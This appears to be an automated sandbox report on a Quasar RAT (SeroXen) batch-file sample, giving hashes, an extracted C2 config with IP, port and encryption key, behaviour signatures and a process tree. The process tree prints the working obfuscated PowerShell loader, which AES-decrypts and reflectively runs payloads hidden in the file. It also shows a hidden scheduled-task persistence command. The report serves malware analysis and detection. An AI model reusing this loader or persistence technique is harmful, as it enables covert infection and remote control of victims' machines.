quasar | b3db27588a80527cb09b85476ed59ce698dc9a4b6b03246160de944ecc5ca79d

Analysis

max time kernel
150s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
01/07/2024, 16:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Uni.bat
Size 586KB
Sample240701-txm97ssdpl
SHA256 b3db27588a80527cb09b85476ed59ce698dc9a4b6b03246160de944ecc5ca79d
MD5 3a43120a8dd1e42ff894670710bd8bc4
SHA1 dbb9244231da204517f5d7a0e5ca713b64a3c175
SHA512 15931135fd1fec93a3d77e0f28a19ca0780e7de34ab6a4f8174999cf534b4f810ace2bba0db3f2d0d0007199771b16d0c2bc3cdee48ef00a19be4705d3c26026
SSDEEP 12288:qAtzNGPPmXaudwDKHYeRfRJUnYNY+yjOc3zRMh0KYQgrR3dih:3BsXvudwG4eR5yN6c3VS0KZ9
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar seroxen execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

15.5.0

Botnet

SeroXen

147.185.221.20:49485

Mutex

QSR_MUTEX_rzhQPLl57DqbMvbZp9

Attributes

encryption_key
M2nw0PLpJxuyZQLyQ14p
install_name
Client.exe
log_directory
$sxr-Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral3/memory/3048-139-0x0000022CC3F80000-0x0000022CC3FDE000-memory.dmp	family_quasar

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	3048	powershell.exe
3	3048	powershell.exe
5	3048	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4596	powershell.exe
3648	powershell.exe
3048	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4596	powershell.exe
4596	powershell.exe
3648	powershell.exe
3648	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4596	powershell.exe
Token: SeDebugPrivilege	3648	powershell.exe
Token: SeIncreaseQuotaPrivilege	3648	powershell.exe
Token: SeSecurityPrivilege	3648	powershell.exe
Token: SeTakeOwnershipPrivilege	3648	powershell.exe
Token: SeLoadDriverPrivilege	3648	powershell.exe
Token: SeSystemProfilePrivilege	3648	powershell.exe
Token: SeSystemtimePrivilege	3648	powershell.exe
Token: SeProfSingleProcessPrivilege	3648	powershell.exe
Token: SeIncBasePriorityPrivilege	3648	powershell.exe
Token: SeCreatePagefilePrivilege	3648	powershell.exe
Token: SeBackupPrivilege	3648	powershell.exe
Token: SeRestorePrivilege	3648	powershell.exe
Token: SeShutdownPrivilege	3648	powershell.exe
Token: SeDebugPrivilege	3648	powershell.exe
Token: SeSystemEnvironmentPrivilege	3648	powershell.exe
Token: SeRemoteShutdownPrivilege	3648	powershell.exe
Token: SeUndockPrivilege	3648	powershell.exe
Token: SeManageVolumePrivilege	3648	powershell.exe
Token: 33	3648	powershell.exe
Token: 34	3648	powershell.exe
Token: 35	3648	powershell.exe
Token: 36	3648	powershell.exe
Token: SeIncreaseQuotaPrivilege	3648	powershell.exe
Token: SeSecurityPrivilege	3648	powershell.exe
Token: SeTakeOwnershipPrivilege	3648	powershell.exe
Token: SeLoadDriverPrivilege	3648	powershell.exe
Token: SeSystemProfilePrivilege	3648	powershell.exe
Token: SeSystemtimePrivilege	3648	powershell.exe
Token: SeProfSingleProcessPrivilege	3648	powershell.exe
Token: SeIncBasePriorityPrivilege	3648	powershell.exe
Token: SeCreatePagefilePrivilege	3648	powershell.exe
Token: SeBackupPrivilege	3648	powershell.exe
Token: SeRestorePrivilege	3648	powershell.exe
Token: SeShutdownPrivilege	3648	powershell.exe
Token: SeDebugPrivilege	3648	powershell.exe
Token: SeSystemEnvironmentPrivilege	3648	powershell.exe
Token: SeRemoteShutdownPrivilege	3648	powershell.exe
Token: SeUndockPrivilege	3648	powershell.exe
Token: SeManageVolumePrivilege	3648	powershell.exe
Token: 33	3648	powershell.exe
Token: 34	3648	powershell.exe
Token: 35	3648	powershell.exe
Token: 36	3648	powershell.exe
Token: SeIncreaseQuotaPrivilege	3648	powershell.exe
Token: SeSecurityPrivilege	3648	powershell.exe
Token: SeTakeOwnershipPrivilege	3648	powershell.exe
Token: SeLoadDriverPrivilege	3648	powershell.exe
Token: SeSystemProfilePrivilege	3648	powershell.exe
Token: SeSystemtimePrivilege	3648	powershell.exe
Token: SeProfSingleProcessPrivilege	3648	powershell.exe
Token: SeIncBasePriorityPrivilege	3648	powershell.exe
Token: SeCreatePagefilePrivilege	3648	powershell.exe
Token: SeBackupPrivilege	3648	powershell.exe
Token: SeRestorePrivilege	3648	powershell.exe
Token: SeShutdownPrivilege	3648	powershell.exe
Token: SeDebugPrivilege	3648	powershell.exe
Token: SeSystemEnvironmentPrivilege	3648	powershell.exe
Token: SeRemoteShutdownPrivilege	3648	powershell.exe
Token: SeUndockPrivilege	3648	powershell.exe
Token: SeManageVolumePrivilege	3648	powershell.exe
Token: 33	3648	powershell.exe
Token: 34	3648	powershell.exe
Token: 35	3648	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
3048	powershell.exe
3316	Explorer.EXE
3316	Explorer.EXE

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 3332 wrote to memory of 4092	3332	cmd.exe	80
PID 3332 wrote to memory of 4092	3332	cmd.exe	80
PID 3332 wrote to memory of 4596	3332	cmd.exe	81
PID 3332 wrote to memory of 4596	3332	cmd.exe	81
PID 4596 wrote to memory of 3648	4596	powershell.exe	82
PID 4596 wrote to memory of 3648	4596	powershell.exe	82
PID 4596 wrote to memory of 432	4596	powershell.exe	85
PID 4596 wrote to memory of 432	4596	powershell.exe	85
PID 432 wrote to memory of 2560	432	WScript.exe	86
PID 432 wrote to memory of 2560	432	WScript.exe	86
PID 2560 wrote to memory of 3660	2560	cmd.exe	88
PID 2560 wrote to memory of 3660	2560	cmd.exe	88
PID 2560 wrote to memory of 3048	2560	cmd.exe	89
PID 2560 wrote to memory of 3048	2560	cmd.exe	89
PID 3048 wrote to memory of 3316	3048	powershell.exe	53
PID 3048 wrote to memory of 1376	3048	powershell.exe	23
PID 3048 wrote to memory of 3936	3048	powershell.exe	70
PID 3048 wrote to memory of 1176	3048	powershell.exe	19
PID 3048 wrote to memory of 1964	3048	powershell.exe	33
PID 3048 wrote to memory of 1820	3048	powershell.exe	31
PID 3048 wrote to memory of 1564	3048	powershell.exe	27
PID 3048 wrote to memory of 1548	3048	powershell.exe	26
PID 3048 wrote to memory of 1744	3048	powershell.exe	30
PID 3048 wrote to memory of 756	3048	powershell.exe	15
PID 3048 wrote to memory of 1728	3048	powershell.exe	35
PID 3048 wrote to memory of 540	3048	powershell.exe	14
PID 3048 wrote to memory of 1524	3048	powershell.exe	71
PID 3048 wrote to memory of 1120	3048	powershell.exe	18
PID 3048 wrote to memory of 1588	3048	powershell.exe	74
PID 3048 wrote to memory of 920	3048	powershell.exe	11
PID 3048 wrote to memory of 2464	3048	powershell.exe	43
PID 3048 wrote to memory of 2492	3048	powershell.exe	68
PID 3048 wrote to memory of 3476	3048	powershell.exe	55
PID 3048 wrote to memory of 4416	3048	powershell.exe	63
PID 3048 wrote to memory of 1684	3048	powershell.exe	29
PID 3048 wrote to memory of 1876	3048	powershell.exe	32
PID 3048 wrote to memory of 1672	3048	powershell.exe	28
PID 3048 wrote to memory of 3444	3048	powershell.exe	54
PID 3048 wrote to memory of 1272	3048	powershell.exe	22
PID 3048 wrote to memory of 4024	3048	powershell.exe	61
PID 3048 wrote to memory of 1264	3048	powershell.exe	21
PID 3048 wrote to memory of 1000	3048	powershell.exe	12
PID 3048 wrote to memory of 1060	3048	powershell.exe	17
PID 3048 wrote to memory of 2432	3048	powershell.exe	42
PID 3048 wrote to memory of 1052	3048	powershell.exe	16
PID 3048 wrote to memory of 2232	3048	powershell.exe	39
PID 3048 wrote to memory of 1044	3048	powershell.exe	51
PID 3048 wrote to memory of 1436	3048	powershell.exe	25
PID 3048 wrote to memory of 2420	3048	powershell.exe	41
PID 3048 wrote to memory of 2608	3048	powershell.exe	48
PID 3048 wrote to memory of 2408	3048	powershell.exe	40
PID 3048 wrote to memory of 1384	3048	powershell.exe	24
PID 3048 wrote to memory of 2600	3048	powershell.exe	47
PID 3048 wrote to memory of 820	3048	powershell.exe	10
PID 3048 wrote to memory of 3576	3048	powershell.exe	65
PID 3048 wrote to memory of 2580	3048	powershell.exe	46
PID 3048 wrote to memory of 1788	3048	powershell.exe	36
PID 3048 wrote to memory of 1196	3048	powershell.exe	20
PID 3048 wrote to memory of 1192	3048	powershell.exe	66
PID 3048 wrote to memory of 2172	3048	powershell.exe	38
PID 3048 wrote to memory of 2564	3048	powershell.exe	45
PID 3048 wrote to memory of 1972	3048	powershell.exe	34

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
PID:820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:540

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1052

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1264

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1384

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1548

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1684

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1820

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1972

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1788

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2172

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2408

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2564

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:1044

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of SetWindowsHookEx
PID:3316
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OYi6jovj9grd+OhQ3Yq9CKyYEolqR3DCnwhMoiMIiic='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x758XCMTdc4jhHfAjXEAbQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $PTonT=New-Object System.IO.MemoryStream(,$param_var); $pteGk=New-Object System.IO.MemoryStream; $QeYIq=New-Object System.IO.Compression.GZipStream($PTonT, [IO.Compression.CompressionMode]::Decompress); $QeYIq.CopyTo($pteGk); $QeYIq.Dispose(); $PTonT.Dispose(); $pteGk.Dispose(); $pteGk.ToArray();}function execute_function($param_var,$param2_var){ $imxQj=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $oCBDZ=$imxQj.EntryPoint; $oCBDZ.Invoke($null, $param2_var);}$bxwFd = 'C:\Users\Admin\AppData\Local\Temp\Uni.bat';$host.UI.RawUI.WindowTitle = $bxwFd;$spiDd=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($bxwFd).Split([Environment]::NewLine);foreach ($urTOm in $spiDd) { if ($urTOm.StartsWith('VUGwKkMvYCOpuHkPGxtm')) { $jdwUC=$urTOm.Substring(20); break; }}$payloads_var=[string[]]$jdwUC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:4092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4596
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_306_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_306.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3648
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_306.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:432
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_306.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2560
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OYi6jovj9grd+OhQ3Yq9CKyYEolqR3DCnwhMoiMIiic='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x758XCMTdc4jhHfAjXEAbQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $PTonT=New-Object System.IO.MemoryStream(,$param_var); $pteGk=New-Object System.IO.MemoryStream; $QeYIq=New-Object System.IO.Compression.GZipStream($PTonT, [IO.Compression.CompressionMode]::Decompress); $QeYIq.CopyTo($pteGk); $QeYIq.Dispose(); $PTonT.Dispose(); $pteGk.Dispose(); $pteGk.ToArray();}function execute_function($param_var,$param2_var){ $imxQj=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $oCBDZ=$imxQj.EntryPoint; $oCBDZ.Invoke($null, $param2_var);}$bxwFd = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_306.bat';$host.UI.RawUI.WindowTitle = $bxwFd;$spiDd=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($bxwFd).Split([Environment]::NewLine);foreach ($urTOm in $spiDd) { if ($urTOm.StartsWith('VUGwKkMvYCOpuHkPGxtm')) { $jdwUC=$urTOm.Substring(20); break; }}$payloads_var=[string[]]$jdwUC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:3660
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:3048

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4024

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:1192

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1524

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6
MD5 df472dcddb36aa24247f8c8d8a517bd7
SHA1 6f54967355e507294cbc86662a6fbeedac9d7030
SHA512 06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca
MD5 SHA1 SHA512

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 1KB
SHA256 214be9e8293b00fc05089068033edb41da350e0f127dd782bf6cb748000a56a5
MD5 3ec0d76d886b2f4b9f1e3da7ce9e2cd7
SHA1 68a6a2b7b0fa045cd9cf7d63d4e30600a7b25dea
SHA512 a49d758d03e3a7bc38be29d577c3e0d0c69eb08d0496a81b9406b446c5808d7dfbab39c5be3b45cbb4aec511d87c6166453cbd12cebe5d8663a60b5d773206c6
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_rkjmey3v.r5g.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rkjmey3v.r5g.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

$phantom-startup_str_306.bat

Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_306.bat
Size 586KB
SHA256 b3db27588a80527cb09b85476ed59ce698dc9a4b6b03246160de944ecc5ca79d
MD5 3a43120a8dd1e42ff894670710bd8bc4
SHA1 dbb9244231da204517f5d7a0e5ca713b64a3c175
SHA512 15931135fd1fec93a3d77e0f28a19ca0780e7de34ab6a4f8174999cf534b4f810ace2bba0db3f2d0d0007199771b16d0c2bc3cdee48ef00a19be4705d3c26026
SSDEEP 12288:qAtzNGPPmXaudwDKHYeRfRJUnYNY+yjOc3zRMh0KYQgrR3dih:3BsXvudwG4eR5yN6c3VS0KZ9
MD5 SHA1 SHA512 SSDEEP

Submit Download

$phantom-startup_str_306.vbs

Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_306.vbs
Size 124B
SHA256 27b5feccd83ae8da043627bd45bf5b08d09d23d9f5e3a6d73dc1261de12d0a0c
MD5 5732d50cb212c5521f216dfed0716c86
SHA1 bdb40e037b12556c84ff8502cc45d17e16bfb316
SHA512 a81174c943e92b60cf3f3f58c57984f42263f6230d55f2c926d0bdc033154d360432c540bde3f8cdcc454c55fbc9385372817286925c781ffccb4db03e5c1ec6
MD5 SHA1 SHA512

Submit Download

memory/756-67-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/1176-60-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/1376-57-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/1384-109-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/1524-106-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/1548-59-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/1564-63-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/1728-76-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/1744-62-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/1820-61-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/1964-66-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/2464-107-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/2492-108-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/3048-145-0x0000022CC3E90000-0x0000022CC3EA2000-memory.dmp

Download

memory/3048-146-0x0000022CC4420000-0x0000022CC445C000-memory.dmp

Download

memory/3048-139-0x0000022CC3F80000-0x0000022CC3FDE000-memory.dmp

Download

memory/3316-56-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/3316-47-0x0000000003D00000-0x0000000003D2A000-memory.dmp

Download

memory/3648-30-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

Download

memory/3648-27-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

Download

memory/3648-26-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

Download

memory/3648-25-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

Download

memory/3936-58-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/4416-110-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/4596-14-0x00000210397A0000-0x00000210397A8000-memory.dmp

Download

memory/4596-15-0x0000021039810000-0x0000021039880000-memory.dmp

Download

memory/4596-13-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

Download

memory/4596-0-0x00007FFF96EB3000-0x00007FFF96EB5000-memory.dmp

Download

memory/4596-12-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

Download

memory/4596-132-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

Download

memory/4596-11-0x00000210397C0000-0x0000021039806000-memory.dmp

Download

memory/4596-10-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

Download

memory/4596-3-0x0000021039380000-0x00000210393A2000-memory.dmp

Download